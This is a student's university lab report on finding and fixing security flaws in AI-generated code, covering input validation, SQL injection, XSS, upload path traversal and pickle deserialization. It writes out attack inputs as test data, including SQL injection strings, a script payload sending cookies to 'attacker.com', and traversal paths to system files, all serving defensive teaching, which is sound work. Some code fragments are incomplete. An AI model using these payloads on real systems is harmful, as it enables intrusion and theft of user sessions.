SCHOOL OF COMPUTER SCIENCE AND ARTIFICIAL INTELLIGENCE DEPARTMENT OF COMPUTER SCIENCE ENGINEERING	
Program Name: B. Tech (III Year / II Sem)	**Academic Year:** 2025–2026
Course Title: AI Assisted Coding (23CS002PC304)	**Regulation:** R23 | **Lab Session:** Week 10 – Monday
Assignment No: 20.1 (Current) / 24 (Total)	**Assignment Type:** Security Testing Lab Report

STUDENT NAME: D. POORNANDA CHALAM ROLL NO: 2503A52361 BATCH NO: 13

LAB 20: SECURITY TESTING – IDENTIFYING VULNERABILITIES IN AI-GENERATED CODE

Lab Objectives:

- Understand how to test AI-generated code for common security vulnerabilities.
- Learn to apply secure coding principles (OWASP Top 10) while analyzing AI outputs.
- Practice detecting risks such as SQL injection, XSS, input validation flaws, and insecure deserialization.
- Enhance code reliability and safety by using defensive refactoring.

Task 1 – Input Validation Check

Task Description: Analyze an AI-generated Python login script for input validation vulnerabilities and implement a secure version using regular expressions.

1. Prompt Provided to AI:

> *"Write a simple Python script for user authentication. It should take username and password from the user and check against a dictionary of valid users."*

2. Naive Insecure AI Code:

```
VALID_USERS = {"admin": "Admin@123", "student_chalam": "Pass#2026"} def naive_login(username, password): # FLAW: Direct comparison with zero input validation or length checking # Accepts null-bytes, control characters, script injections, whitespace anomalies if username in VALID_USERS and VALID_USERS[username] == password: return True, "Login successful!" return False, "Invalid username or password."
```

3. Security Audit & Vulnerabilities:

- **No Format Enforcement:** Accepts arbitrary characters (null bytes `\x00`, control codes, script tags).
- **No Length Boundary:** Vulnerable to Denial-of-Service (DoS) and memory exhaustion via mega-strings.
- **Untrimmed Whitespace:** Allows trailing or leading spaces leading to authentication discrepancies.
- **Plaintext Comparison:** Passwords checked in plaintext without constant-time verification.

4. Refactored Secure Implementation:

```
import re import hashlib import secrets class SecureLoginSystem: # Username: Alphanumeric and underscores, strictly 4 to 16 characters USERNAME_REGEX = re.compile(r"^[a-zA-Z0-9_]{4,16}$") # Password: 8-64 chars, uppercase, lowercase, digit, special symbol PASSWORD_REGEX = re.compile( r"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&_\-#])[A-Za-z\d@$!%*?&_\-#]{8,64}$" ) def validate_username(self, username: str): sanitized = username.strip() if isinstance(username, str) else "" if not sanitized or not self.USERNAME_REGEX.match(sanitized): return False, "Invalid username format. Must be 4-16 alphanumeric chars or underscores." return True, sanitized def authenticate(self, raw_username: str, raw_password: str): valid,
```

```
clean_user = self.validate_username(raw_username) if not valid: return False, f"Validation Failed: {clean_user}" if not self.PASSWORD_REGEX.match(raw_password): return False, "Validation Failed: Password complexity requirements not met." # Constant-time salted SHA-256 hash comparison computed_hash = hashlib.sha256((self.user_db[clean_user]["salt"] + raw_password).encode()).hexdigest() if secrets.compare_digest(computed_hash, self.user_db[clean_user]["hash"]): return True, f"Authentication Successful! Welcome, {clean_user}." return False, "Authentication Failed: Invalid credentials."
```

5. Terminal Test Suite Results:

Test Case Description	Input Username	Expected	Result Status
Valid Student Login	`'student_chalam'`	True	**[OK] PASS [ALLOWED]** Authentication Successful
Valid Admin Login	`'admin'`	True	**[OK] PASS [ALLOWED]** Authentication Successful
SQL Metacharacters	`"admin' OR '1'='1"`	False	**[OK] BLOCKED [SAFE]** Regex rejected quotes and spaces
Path Traversal Injection	`'../../etc/passwd'`	False	**[OK] BLOCKED [SAFE]** Slash characters forbidden
Script Injection Tag	`'<script>alert(1)</script>'`	False	**[OK] BLOCKED [SAFE]** Special symbols forbidden
Null Byte Character	`'admin\x00user'`	False	**[OK] BLOCKED [SAFE]** Null byte rejected
Weak Password (< 8 chars)	`'student_chalam'`	False	**[OK] BLOCKED [SAFE]** Failed complexity policy

Task 2 – SQL Injection Prevention

Task Description: Test an AI-generated script performing SQL queries on SQLite/MySQL, demonstrate SQL injection exploitation, and refactor using parameterized prepared statements.

1. Insecure AI-Generated Query Function:

```
def insecure_fetch_user(cursor, username, password): # FLAW: String formatting f-string used directly inside SQL statement! query = f"SELECT id, username, full_name, role, gpa FROM users WHERE username = '{username}' AND password = '{password}'" cursor.execute(query) return cursor.fetchall()
```

2. Demonstrating Exploitation in VS Code Terminal:

```
[ATTACK 1: Classic Auth Bypass via SQL Comment]
Attacker Input -> Username: "admin' --" | Password: "ANY_PASSWORD"
Executed SQL   : SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
EXPLOIT RESULT : SUCCESSFUL AUTHENTICATION BYPASS!
Extracted User : [(1, 'admin', 'System Administrator', 'ADMIN', 4.0)]

[ATTACK 2: Boolean Tautology Mass Exfiltration]
Attacker Input -> Username: "' OR '1'='1"
EXPLOIT RESULT : MASS DATA DUMP (All database student & faculty records leaked!)
```

3. Secure Refactored Implementation (Parameterized Queries):

```
def secure_fetch_user(cursor, username, password): # DEFENSE: Parameterized query using '?' placeholders # The database engine treats parameters strictly as literal data, never executable syntax query = "SELECT id, username, full_name, role, gpa FROM users WHERE username = ? AND password = ?" cursor.execute(query, (username, password)) return cursor.fetchall()
```

4. Terminal Verification Results:

- Re-running Attack 1 (`admin' --`) on secure query: **BLOCKED!** Returns `0 records`. SQLite looked for a literal username string with dashes.
- Re-running Attack 2 (`' OR '1'='1`) on secure query: **BLOCKED!** Returns `0 records`.
- Legitimate Student Login (poornanda): **ALLOWED!** Profile retrieved securely.

Task 3 – Cross-Site Scripting (XSS) Check

Task Description: Evaluate an AI-generated HTML feedback form with JavaScript for XSS vulnerabilities and implement sanitization & Content Security Policy (CSP).

1. Insecure AI JavaScript Snippet:

```
function renderFeedback(author, commentText) { // VULNERABILITY: innerHTML directly inserts untrusted string into live DOM! const container = document.getElementById("feedback-feed"); container.innerHTML += ` <div class="feedback-card"> <h4>${author}</h4> <p>${commentText}</p> </div> `; }
```

2. Injected Payloads & Secure Measures:

Attack Type	Injected Payload	Defense Implemented
Image Event Hijack	`<img src=x onerror='alert(document.cookie)'>`	Replaced `innerHTML` with `textContent`
Script Injection	`<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>`	Server entity escaping: `html.escape()`

Attack Type	Injected Payload	Defense Implemented
Browser Mitigation	Any injected third-party inline script	Content Security Policy: `script-src 'self'`

Task 4 – Real-Time Application: Security Audit of AI-Generated Code

Scenario: AI-generated profile picture upload API endpoint.

Vulnerability	Attack Vector	Severity	Remediation Implemented
Path Traversal	`../../etc/cron.d/backdoor`	CRITICAL	Strip path with `os.path.basename`, isolate directory, verify root bounds.
Arbitrary Script Upload	`malware_script.py`	CRITICAL	Strict whitelist: `.jpg`, `.jpeg`, `.png`, `.webp`.
MIME Spoofing	PHP/script masked as `avatar.png`	MEDIUM	Verify binary magic bytes (`\x89PNG\r\n\x1a\n`).
Denial of Service (DoS)	20GB file stream	HIGH	Enforce 2MB maximum file size limit.
File Overwrite Collision	`avatar.png` overwrites user photo	MEDIUM	Rename with cryptographic UUID: `uuid.uuid4().hex`.

Terminal Verification on Secure Uploader:

```
Scenario: Valid Student Avatar Upload       -> [PASS ALLOWED] Stored: 3a9e2f...png (UUID Isolation)
Scenario: Path Traversal Attack             -> [PASS ALLOWED] Sanitized safely to UUID filename
Scenario: Script Upload Attempt (.py)       -> [PASS BLOCKED] Security Rejection: Extension forbidden
Scenario: Binary Stub Upload (.bin)         -> [PASS BLOCKED] Security Rejection: Extension forbidden
Scenario: MIME Spoof Attack (Text as PNG)   -> [PASS BLOCKED] Corrupted or spoofed image binary signature
Scenario: Oversized File (DoS attempt)      -> [PASS BLOCKED] File exceeds 2MB limit (3145736 bytes)
```

Task 5 – Insecure Data Serialization Check (Pickle vs JSON)

> **Why Untrusted Pickle Is Dangerous:** Python's `pickle` module implements an interpreted stack language. Deserialization automatically calls `__reduce__`, allowing attackers to execute arbitrary system commands before data can be validated.

1. Proof-of-Concept Exploit Demonstration:

```
class InjectedExploitPayload: def __reduce__(self): return (print, (">>> [INJECTED CODE TRIGGERED]: Simulated RCE on student machine! <<<",)) # pickle.loads() automatically executes the injected callable payload: unpickled = pickle.loads(malicious_bytes)
```

2. Secure Replacement Using JSON:

```
import json class SecureSessionManager: REQUIRED_KEYS = {"user_id", "username", "role", "permissions"} @staticmethod def serialize_session(session_dict: dict) -> str: return json.dumps(session_dict, indent=2) @staticmethod def deserialize_session(payload_str: str): try: data = json.loads(payload_str) if not isinstance(data, dict) or not SecureSessionManager.REQUIRED_KEYS.issubset(data.keys()): return False, "Invalid session schema", None return True, "Session loaded securely.", data except json.JSONDecodeError as err: return False, f"JSON Error (Payload safely rejected): {err}", None
```

3. Terminal Test Verification:

- Valid Session Data: **SUCCESS** → Loaded user `poornanda_chalam`.
- Feeding Pickle Exploit to JSON Deserializer: **BLOCKED** → `JSONDecodeError` safely caught. **Zero executable code was triggered.**

LAB 20 COMPLETE | ALL 5 TASKS VERIFIED IN VS CODE TERMINAL

D. POORNANDA CHALAM (2503A52361) | BATCH 13